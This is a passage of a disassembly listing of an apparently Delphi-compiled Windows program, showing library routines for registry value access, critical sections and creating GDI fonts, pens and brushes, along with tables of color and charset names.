		push	edi
		push	ebp
		push	ecx
		mov	edi, ecx
		mov	ebp, edx
		mov	esi, eax
		mov	edx, ebp
		mov	eax, esi
		call	sub_4001457C
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_4001463D
		mov	eax, edi
		mov	ecx, ebx
		xor	edx, edx
		call	sub_40004974
		push	ebx
		lea	eax, [esp+18h+var_14]
		push	eax
		mov	eax, [edi]
		call	sub_40004D48
		mov	ecx, eax
		mov	edx, ebp
		mov	eax, esi
		call	sub_400146B4
		cmp	[esp+14h+var_14], 1
		jz	short loc_4001461D
		cmp	[esp+14h+var_14], 2
		jnz	short loc_40014634


loc_4001461D:				; CODE XREF: sub_400145D4+41j
		mov	eax, [edi]
		call	sub_40004D48
		call	sub_4000815C
		mov	edx, eax
		mov	eax, edi
		call	sub_40004F74
		jmp	short loc_40014644
; ---------------------------------------------------------------------------


loc_40014634:				; CODE XREF: sub_400145D4+47j
		mov	eax, ebp
		call	sub_400140B4
		jmp	short loc_40014644
; ---------------------------------------------------------------------------


loc_4001463D:				; CODE XREF: sub_400145D4+18j
		mov	eax, edi
		call	sub_40004884


loc_40014644:				; CODE XREF: sub_400145D4+5Ej
					; sub_400145D4+67j
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400145D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4001464C	proc near		; CODE XREF: sub_400145A4+26p

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ecx
		mov	edi, edx
		mov	ebx, eax
		movzx	eax, [ebp+arg_0]
		call	sub_400140F4
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		push	esi
		push	0
		mov	eax, edi
		call	sub_40004D48
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_400064E8	; RegSetValueExA
		test	eax, eax
		jz	short loc_400146AB
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], 0Bh
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		mov	ecx, off_4001AFCC
		mov	dl, 1
		mov	eax, ds:off_40013FEC
		call	sub_4000B128
		call	sub_400042E4


loc_400146AB:				; CODE XREF: sub_4001464C+39j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_4001464C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400146B4	proc near		; CODE XREF: sub_400145D4+38p

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		mov	[ebp+var_4], eax
		lea	eax, [ebp+arg_4]
		push	eax
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		mov	eax, esi
		call	sub_40004D48
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_400064E0	; RegQueryValueExA
		test	eax, eax
		jz	short loc_4001470C
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], 0Bh
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		mov	ecx, off_4001B0D4
		mov	dl, 1
		mov	eax, ds:off_40013FEC
		call	sub_4000B128
		call	sub_400042E4


loc_4001470C:				; CODE XREF: sub_400146B4+32j
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		call	sub_40014124
		mov	edx, [ebp+arg_0]
		mov	[edx], al
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_400146B4	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_40014730	dd 30h,	0FFFFFFFFh, 1, 31h					; .data:4001AAA4o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40014740	proc near		; DATA XREF: .text:400183A8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_4001477C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4001F300
		jnz	short loc_4001476E
		mov	eax, offset off_4001AAA0
		mov	ecx, 2
		mov	edx, ds:off_40001000
		call	sub_40005314


loc_4001476E:				; CODE XREF: sub_40014740+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40014783


loc_4001477B:				; CODE XREF: sub_40014740+41j
		retn
; ---------------------------------------------------------------------------


loc_4001477C:				; DATA XREF: sub_40014740+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4001477B
; ---------------------------------------------------------------------------


loc_40014783:				; CODE XREF: sub_40014740:loc_4001477Bj
					; DATA XREF: sub_40014740+36o
		pop	ebp
		retn
sub_40014740	endp

; ---------------------------------------------------------------------------
		align 4
off_40014788	dd offset dword_4001478C ; DATA	XREF: .itext:40019378r
dword_4001478C	dd 43540601h, 726F6C6Fh, 4, 0FFFFFF80h,	408D7Fh
					; DATA XREF: .text:off_40014788o
off_400147A0	dd offset dword_400147A4 ; DATA	XREF: .itext:4001938Cr
dword_400147A4	dd 46540C01h, 43746E6Fh, 73726168h, 17465h, 0FF000000h
					; DATA XREF: .text:off_400147A0o
		dd 90000000h
off_400147BC	dd offset dword_40014808 ; DATA	XREF: .text:4001484Co
					; .itext:40019303o ...
		dd 6 dup(0)
		dd offset dword_40014808
		dd offset dword_40014810
		dd 24h
		dd offset off_4000101C
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_400148CC
dword_40014808	dd 0FFFF0001h						; .text:400147D8o
		dd offset nullsub_7
dword_40014810	dd 65525410h, 72756F73h, 614D6563h, 6567616Eh, 408D72h
					; DATA XREF: .text:400147DCo
off_40014824	dd offset dword_40014870 ; DATA	XREF: .itext:4001932Do
		dd 6 dup(0)
		dd offset dword_40014870
		dd offset dword_40014878
		dd 24h
		dd offset off_400147BC
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_400148CC
dword_40014870	dd 0FFFF0001h						; .text:40014840o
		dd offset loc_4001490C
dword_40014878	dd 72425415h, 52687375h, 756F7365h, 4D656372h, 67616E61h
					; DATA XREF: .text:40014844o
		dd 0C08B7265h, 0D2845653h, 0C4830874h, 0F692E8F0h, 0DA8BFFFEh
		dd 8966F08Bh, 468D204Eh, 31E85008h, 8BFFFF1Dh, 74DB84C6h
		dd 0F6CEE80Fh, 8F64FFFEh, 5, 0CC48300h,	5B5EC68Bh, 408DC3h

; =============== S U B	R O U T	I N E =======================================



sub_400148CC	proc near		; DATA XREF: .text:40014804o
					; .text:4001486Co
		push	ebx
		push	esi
		call	sub_40003FD8
		mov	ebx, edx
		mov	esi, eax
		lea	eax, [esi+8]
		push	eax
		call	sub_40006518	; RtlDeleteCriticalSection
		test	bl, bl
		jle	short loc_400148EB
		mov	eax, esi
		call	sub_40003F80


loc_400148EB:				; CODE XREF: sub_400148CC+16j
		pop	esi
		pop	ebx
		retn
sub_400148CC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400148F0	proc near		; CODE XREF: sub_40014F8C+3Fp
					; sub_400151D0+1Ap ...
		add	eax, 8
		push	eax
		call	sub_40006520	; RtlEnterCriticalSection
		retn
sub_400148F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400148FC	proc near		; CODE XREF: sub_40014F8C+1EEp
					; sub_400151D0+80p ...
		add	eax, 8
		push	eax
		call	sub_400065E8	; RtlLeaveCriticalSection
		retn
sub_400148FC	endp

; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		align 4


loc_4001490C:				; DATA XREF: .text:40014874o
		cmp	byte ptr [edx+1Dh], 0
		jz	short locret_4001491A
		lea	eax, [edx+18h]
		call	sub_4000C970

locret_4001491A:			; CODE XREF: .text:40014910j
		retn
; ---------------------------------------------------------------------------
		align 4
dword_4001491C	dd 0FFFFFFFFh, 7, 6C426C63h, 6B6361h, 0FFFFFFFFh, 8, 614D6C63h
					; DATA XREF: .data:4001AADCo
		dd 6E6F6F72h, 0
dword_40014940	dd 0FFFFFFFFh, 7, 72476C63h, 6E6565h, 0FFFFFFFFh, 7, 6C4F6C63h
					; DATA XREF: .data:4001AAECo
		dd 657669h, 0FFFFFFFFh,	6, 614E6C63h, 7976h, 0FFFFFFFFh
		dd 8, 75506C63h, 656C7072h, 0
dword_40014984	dd 0FFFFFFFFh, 6, 65546C63h, 6C61h, 0FFFFFFFFh,	6, 72476C63h
					; DATA XREF: .data:4001AB0Co
		dd 7961h, 0FFFFFFFFh, 8, 69536C63h, 7265766Ch, 0
dword_400149B8	dd 0FFFFFFFFh, 5, 65526C63h, 64h, 0FFFFFFFFh, 6, 694C6C63h
					; DATA XREF: .data:4001AB24o
		dd 656Dh, 0FFFFFFFFh, 8, 65596C63h, 776F6C6Ch, 0
dword_400149EC	dd 0FFFFFFFFh, 6, 6C426C63h, 6575h, 0FFFFFFFFh,	9, 75466C63h
					; DATA XREF: .data:4001AB3Co
		dd 69736863h, 61h, 0FFFFFFFFh, 6, 71416C63h, 6175h, 0FFFFFFFFh
		dd 7, 68576C63h, 657469h, 0FFFFFFFFh, 0Ch, 6F4D6C63h, 4779656Eh
		dd 6E656572h, 0
dword_40014A48	dd 0FFFFFFFFh, 9, 6B536C63h, 756C4279h,	65h, 0FFFFFFFFh
					; DATA XREF: .data:4001AB64o
		dd 7, 72436C63h, 6D6165h, 0FFFFFFFFh, 9, 654D6C63h, 61724764h
		dd 79h,	0FFFFFFFFh, 0Eh, 63416C63h, 65766974h, 64726F42h
		dd 7265h, 0FFFFFFFFh, 0Fh, 63416C63h, 65766974h, 74706143h
		dd 6E6F69h, 0FFFFFFFFh,	0Eh, 70416C63h,	726F5770h, 6170536Bh
		dd 6563h, 0FFFFFFFFh, 0Ch, 61426C63h, 72676B63h, 646E756Fh
		dd 0
dword_40014AE0	dd 0FFFFFFFFh, 9, 74426C63h, 6361466Eh,	65h, 0FFFFFFFFh
					; DATA XREF: .data:4001AB9Co
		dd 0Eh,	74426C63h, 6769486Eh, 67696C68h, 7468h,	0FFFFFFFFh
		dd 0Bh,	74426C63h, 6168536Eh, 776F64h, 0FFFFFFFFh, 9, 74426C63h
		dd 7865546Eh, 74h, 0FFFFFFFFh, 0Dh, 61436C63h, 6F697470h
		dd 7865546Eh, 74h, 0FFFFFFFFh, 9, 65446C63h, 6C756166h
		dd 74h,	0FFFFFFFFh, 17h, 72476C63h, 65696461h, 6341746Eh
		dd 65766974h, 74706143h, 6E6F69h, 0FFFFFFFFh, 19h, 72476C63h
		dd 65696461h, 6E49746Eh, 69746361h, 61436576h, 6F697470h
		dd 6Eh,	0FFFFFFFFh, 0Ah, 72476C63h, 65547961h, 7478h, 0FFFFFFFFh
		dd 0Bh,	69486C63h, 696C6867h, 746867h, 0FFFFFFFFh, 0Fh
		dd 69486C63h, 696C6867h, 54746867h, 747865h, 0FFFFFFFFh
		dd 0Ah,	6F486C63h, 67694C74h, 7468h, 0FFFFFFFFh, 10h, 6E496C63h
		dd 69746361h, 6F426576h, 72656472h, 0
dword_40014C14	dd 0FFFFFFFFh, 11h, 6E496C63h, 69746361h, 61436576h, 6F697470h
					; DATA XREF: .data:4001AC04o
		dd 6Eh,	0FFFFFFFFh, 15h, 6E496C63h, 69746361h, 61436576h
		dd 6F697470h, 7865546Eh, 74h, 0FFFFFFFFh, 8, 6E496C63h
		dd 6B426F66h, 0
dword_40014C64	dd 0FFFFFFFFh, 0Ah, 6E496C63h, 65546F66h, 7478h, 0FFFFFFFFh
					; DATA XREF: .data:4001AC1Co
		dd 6, 654D6C63h, 756Eh,	0FFFFFFFFh, 9, 654D6C63h, 6142756Eh
		dd 72h,	0FFFFFFFFh, 0Fh, 654D6C63h, 6948756Eh, 696C6867h
		dd 746867h, 0FFFFFFFFh,	0Ah, 654D6C63h,	6554756Eh, 7478h
		dd 0FFFFFFFFh, 6, 6F4E6C63h, 656Eh, 0FFFFFFFFh,	0Bh, 63536C63h
		dd 6C6C6F72h, 726142h, 0FFFFFFFFh, 0Ch,	44336C63h, 68536B44h
		dd 776F6461h, 0
dword_40014D04	dd 0FFFFFFFFh, 9, 44336C63h, 6867694Ch,	74h, 0FFFFFFFFh
					; DATA XREF: .data:4001AC5Co
		dd 8, 69576C63h, 776F646Eh, 0
dword_40014D2C	dd 0FFFFFFFFh, 0Dh, 69576C63h, 776F646Eh, 6D617246h, 65h
					; DATA XREF: .data:4001AC6Co
		dd 0FFFFFFFFh, 0Ch, 69576C63h, 776F646Eh, 74786554h, 0

; =============== S U B	R O U T	I N E =======================================



sub_40014D5C	proc near		; CODE XREF: sub_400151D0+57p
					; sub_40015270+9Fp ...
		test	eax, eax
		jge	short locret_40014D6B
		and	eax, 0FFh
		push	eax
		call	sub_40006720	; GetSysColor

locret_40014D6B:			; CODE XREF: sub_40014D5C+2j
		retn
sub_40014D5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40014D6C	proc near		; DATA XREF: .itext:4001936Eo
		push	33h
		mov	ecx, offset dword_4001AAD8
		call	sub_40013658
		retn
sub_40014D6C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40014D7C	proc near		; DATA XREF: .itext:40019373o
		push	33h
		mov	ecx, offset dword_4001AAD8
		call	sub_40013618
		retn
sub_40014D7C	endp

; ---------------------------------------------------------------------------
		align 4
dword_40014D8C	dd 0FFFFFFFFh, 0Ch, 49534E41h, 4148435Fh, 54455352h, 0
					; DATA XREF: .data:4001AC7Co
dword_40014DA4	dd 0FFFFFFFFh, 0Fh, 41464544h, 5F544C55h, 52414843h, 544553h
					; DATA XREF: .data:4001AC84o
		dd 0FFFFFFFFh, 0Eh, 424D5953h, 435F4C4Fh, 53524148h, 5445h
		dd 0FFFFFFFFh, 0Bh, 5F43414Dh, 52414843h, 544553h, 0FFFFFFFFh
		dd 10h,	46494853h, 53494A54h, 4148435Fh, 54455352h, 0
dword_40014E04	dd 0FFFFFFFFh, 0Fh, 474E4148h, 5F4C5545h, 52414843h, 544553h
					; DATA XREF: .data:4001ACA4o
		dd 0FFFFFFFFh, 0Dh, 41484F4Ah, 48435F42h, 45535241h, 54h
		dd 0FFFFFFFFh, 0Eh, 33324247h, 435F3231h, 53524148h, 5445h
		dd 0FFFFFFFFh, 13h, 4E494843h, 42455345h, 5F354749h, 52414843h
		dd 544553h, 0FFFFFFFFh,	0Dh, 45455247h,	48435F4Bh, 45535241h
		dd 54h,	0FFFFFFFFh, 0Fh, 4B525554h, 5F485349h, 52414843h
		dd 544553h, 0FFFFFFFFh,	0Eh, 52424548h,	435F5745h, 53524148h
		dd 5445h, 0FFFFFFFFh, 0Eh, 42415241h, 435F4349h, 53524148h
		dd 5445h, 0FFFFFFFFh, 0Eh, 544C4142h, 435F4349h, 53524148h
		dd 5445h, 0FFFFFFFFh, 0Fh, 53535552h, 5F4E4149h, 52414843h
		dd 544553h, 0FFFFFFFFh,	0Ch, 49414854h,	4148435Fh, 54455352h
		dd 0
		dd 0FFFFFFFFh, 12h
aEasteurope_cha	db 'EASTEUROPE_CHARSET',0 ; DATA XREF: .data:4001ACFCo
		align 4
dword_40014F2C	dd 0FFFFFFFFh, 0Bh, 5F4D454Fh, 52414843h, 544553h
					; DATA XREF: .data:4001AD04o
; ---------------------------------------------------------------------------


loc_40014F40:				; DATA XREF: .itext:40019382o
		push	11h
		mov	ecx, offset dword_4001AC78
		call	sub_40013658
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_40014F50:				; DATA XREF: .itext:40019387o
		push	11h
		mov	ecx, offset dword_4001AC78
		call	sub_40013618
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40014F60	proc near		; CODE XREF: sub_40014F8C+187p
		push	ebx
		mov	ebx, eax
		movzx	eax, byte ptr [ebx+0Eh]
		cmp	al, byte_4001AAB6
		jnz	short loc_40014F82
		mov	eax, offset byte_4001AAB7
		lea	edx, [ebx+0Fh]
		movzx	ecx, byte ptr [eax]
		inc	ecx
		call	sub_40003510
		jz	short loc_40014F86


loc_40014F82:				; CODE XREF: sub_40014F60+Dj
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40014F86:				; CODE XREF: sub_40014F60+20j
		mov	al, 1
		pop	ebx
		retn
sub_40014F60	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40014F8C	proc near		; CODE XREF: sub_400155A4+6p

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= byte ptr -2Ah
var_29		= byte ptr -29h
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= byte ptr -26h
var_25		= byte ptr -25h
var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFB0h
		push	ebx
		push	esi
		push	edi
		xor	edx, edx
		mov	[ebp+var_50], edx
		mov	[ebp+var_4C], edx
		mov	[ebp+var_48], edx
		mov	[ebp+var_44], edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_400151A8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebx+10h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	loc_40015187
		mov	eax, ds:dword_4001F350
		call	sub_400148F0
		xor	edx, edx
		push	ebp
		push	offset loc_40015180
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	loc_40015168
		mov	eax, [ebp+var_4]
		mov	eax, [eax+14h]
		mov	[ebp+var_40], eax
		xor	eax, eax
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax+18h]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_4]
		test	byte ptr [eax+1Dh], 1
		jz	short loc_40015017
		mov	[ebp+var_30], 2BCh
		jmp	short loc_4001501E
; ---------------------------------------------------------------------------


loc_40015017:				; CODE XREF: sub_40014F8C+80j
		mov	[ebp+var_30], 190h


loc_4001501E:				; CODE XREF: sub_40014F8C+89j
		mov	eax, [ebp+var_4]
		test	byte ptr [eax+1Dh], 2
		setnz	al
		mov	[ebp+var_2C], al
		mov	eax, [ebp+var_4]
		test	byte ptr [eax+1Dh], 4
		setnz	al
		mov	[ebp+var_2B], al
		mov	eax, [ebp+var_4]
		test	byte ptr [eax+1Dh], 8
		setnz	al
		mov	[ebp+var_2A], al
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax+1Eh]
		cmp	al, 1
		jnz	short loc_40015065
		cmp	byte_4001AAB6, 1
		jz	short loc_40015065
		movzx	eax, byte_4001AAB6
		mov	[ebp+var_29], al
		jmp	short loc_40015068
; ---------------------------------------------------------------------------


loc_40015065:				; CODE XREF: sub_40014F8C+C2j
					; sub_40014F8C+CBj
		mov	[ebp+var_29], al


loc_40015068:				; CODE XREF: sub_40014F8C+D7j
		lea	eax, [ebp+var_44]
		mov	edx, [ebp+var_4]
		add	edx, 1Fh
		call	sub_40004AE8
		mov	esi, [ebp+var_44]
		test	esi, esi
		jz	short loc_40015082
		sub	esi, 4
		mov	esi, [esi]


loc_40015082:				; CODE XREF: sub_40014F8C+EFj
		mov	edi, offset aDefault ; "Default"
		test	edi, edi
		jz	short loc_40015090
		sub	edi, 4
		mov	edi, [edi]


loc_40015090:				; CODE XREF: sub_40014F8C+FDj
		push	edi
		mov	eax, offset aDefault ; "Default"
		call	sub_40004D48
		push	eax
		push	esi
		lea	eax, [ebp+var_48]
		mov	edx, [ebp+var_4]
		add	edx, 1Fh
		call	sub_40004AE8
		mov	eax, [ebp+var_48]
		call	sub_40004D48
		push	eax
		push	1
		push	400h
		call	sub_400064F8	; CompareStringA
		sub	eax, 2
		test	eax, eax
		jnz	short loc_400150E1
		lea	eax, [ebp+var_4C]
		mov	edx, offset byte_4001AAB7
		call	sub_40004AE8
		mov	edx, [ebp+var_4C]
		lea	eax, [ebp+var_24]
		call	sub_400081B8
		jmp	short loc_400150FA
; ---------------------------------------------------------------------------


loc_400150E1:				; CODE XREF: sub_40014F8C+139j
		lea	eax, [ebp+var_50]
		mov	edx, [ebp+var_4]
		add	edx, 1Fh
		call	sub_40004AE8
		mov	edx, [ebp+var_50]
		lea	eax, [ebp+var_24]
		call	sub_400081B8


loc_400150FA:				; CODE XREF: sub_40014F8C+153j
		mov	eax, off_4001B0C8
		cmp	dword ptr [eax], 1
		jnz	short loc_40015120
		call	sub_40015918
		cmp	al, 80h
		jnz	short loc_40015120
		mov	eax, [ebp+var_4]
		add	eax, 10h
		call	sub_40014F60
		test	al, al
		jz	short loc_40015120
		mov	[ebp+var_29], 80h


loc_40015120:				; CODE XREF: sub_40014F8C+176j
					; sub_40014F8C+17Fj ...
		mov	[ebp+var_26], 0
		cmp	[ebp+var_34], 0
		jz	short loc_40015130
		mov	[ebp+var_28], 7
		jmp	short loc_40015134
; ---------------------------------------------------------------------------


loc_40015130:				; CODE XREF: sub_40014F8C+19Cj
		mov	[ebp+var_28], 0


loc_40015134:				; CODE XREF: sub_40014F8C+1A2j
		mov	[ebp+var_27], 0
		mov	eax, ebx
		call	sub_400151C8
		dec	al
		jz	short loc_40015149
		dec	al
		jz	short loc_4001514F
		jmp	short loc_40015155
; ---------------------------------------------------------------------------


loc_40015149:				; CODE XREF: sub_40014F8C+1B5j
		mov	[ebp+var_25], 2
		jmp	short loc_40015159
; ---------------------------------------------------------------------------


loc_4001514F:				; CODE XREF: sub_40014F8C+1B9j
		mov	[ebp+var_25], 1
		jmp	short loc_40015159
; ---------------------------------------------------------------------------


loc_40015155:				; CODE XREF: sub_40014F8C+1BBj
		mov	[ebp+var_25], 0


loc_40015159:				; CODE XREF: sub_40014F8C+1C1j
					; sub_40014F8C+1C7j
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_40006678	; CreateFontIndirectA
		mov	edx, [ebp+var_4]
		mov	[edx+8], eax


loc_40015168:				; CODE XREF: sub_40014F8C+59j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40015187


loc_40015175:				; CODE XREF: sub_40014F8C+1F9j
		mov	eax, ds:dword_4001F350
		call	sub_400148FC
		retn
; ---------------------------------------------------------------------------


loc_40015180:				; DATA XREF: sub_40014F8C+47o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40015175
; ---------------------------------------------------------------------------


loc_40015187:				; CODE XREF: sub_40014F8C+34j
					; sub_40014F8C+1F3j
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		mov	ebx, [eax+8]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400151AF


loc_4001519A:				; CODE XREF: sub_40014F8C+221j
		lea	eax, [ebp+var_50]
		mov	edx, 4
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_400151A8:				; DATA XREF: sub_40014F8C+1Co
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4001519A
; ---------------------------------------------------------------------------


loc_400151AF:				; CODE XREF: sub_40014F8C+21Bj
					; DATA XREF: sub_40014F8C+209o
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40014F8C	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 7
aDefault	db 'Default',0          ; DATA XREF: sub_40014F8C:loc_40015082o
					; sub_40014F8C+105o

; =============== S U B	R O U T	I N E =======================================



sub_400151C8	proc near		; CODE XREF: sub_40014F8C+1AEp
		mov	eax, [eax+10h]
		movzx	eax, byte ptr [eax+1Ch]
		retn
sub_400151C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400151D0	proc near		; CODE XREF: sub_400155D0+6p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		mov	eax, [eax+10h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4001525D
		mov	eax, ds:dword_4001F354
		call	sub_400148F0
		xor	eax, eax
		push	ebp
		push	offset loc_40015256
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4001523E
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax+1Ch]
		movzx	eax, word_4001AD08[eax*2]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax+18h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax+14h]
		call	sub_40014D5C
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_40006688	; CreatePenIndirect
		mov	edx, [ebp+var_4]
		mov	[edx+8], eax


loc_4001523E:				; CODE XREF: sub_400151D0+34j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4001525D


loc_4001524B:				; CODE XREF: sub_400151D0+8Bj
		mov	eax, ds:dword_4001F354
		call	sub_400148FC
		retn
; ---------------------------------------------------------------------------


loc_40015256:				; DATA XREF: sub_400151D0+22o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4001524B
; ---------------------------------------------------------------------------


loc_4001525D:				; CODE XREF: sub_400151D0+13j
					; sub_400151D0+85j
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax+8]
		mov	esp, ebp
		pop	ebp
		retn
sub_400151D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40015268	proc near		; CODE XREF: sub_40015600+32p
					; sub_40015600+56p
		mov	eax, [eax+10h]
		mov	eax, [eax+14h]
		retn
sub_40015268	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40015270	proc near		; CODE XREF: sub_40015600+6p
					; sub_40015600+14p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	eax, [eax+10h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	loc_40015345
		mov	eax, ds:dword_4001F358
		call	sub_400148F0
		xor	edx, edx
		push	ebp
		push	offset loc_4001533E
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40015326
		mov	eax, [ebp+var_4]
		mov	eax, [eax+18h]
		test	eax, eax
		jz	short loc_400152D2
		mov	[ebp+var_10], 3
		mov	dl, 1
		mov	ecx, [eax]
		call	dword ptr [ecx+70h]
		mov	eax, [ebp+var_4]
		mov	eax, [eax+18h]
		mov	edx, [eax]
		call	dword ptr [edx+68h]
		mov	[ebp+var_8], eax
		jmp	short loc_40015309
; ---------------------------------------------------------------------------


loc_400152D2:				; CODE XREF: sub_40015270+42j
		xor	eax, eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax+1Ch]
		mov	edx, eax
		sub	dl, 1
		jb	short loc_400152E9
		jz	short loc_400152F0
		jmp	short loc_400152F9
; ---------------------------------------------------------------------------


loc_400152E9:				; CODE XREF: sub_40015270+73j
		xor	eax, eax
		mov	[ebp+var_10], eax
		jmp	short loc_40015309
; ---------------------------------------------------------------------------


loc_400152F0:				; CODE XREF: sub_40015270+75j
		mov	[ebp+var_10], 1
		jmp	short loc_40015309
; ---------------------------------------------------------------------------


loc_400152F9:				; CODE XREF: sub_40015270+77j
		mov	[ebp+var_10], 2
		and	eax, 7Fh
		sub	eax, 2
		mov	[ebp+var_8], eax


loc_40015309:				; CODE XREF: sub_40015270+60j
					; sub_40015270+7Ej ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax+14h]
		call	sub_40014D5C
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_40006670	; CreateBrushIndirect
		mov	edx, [ebp+var_4]
		mov	[edx+8], eax


loc_40015326:				; CODE XREF: sub_40015270+38j
		xor	eax, eax
		pop	edx
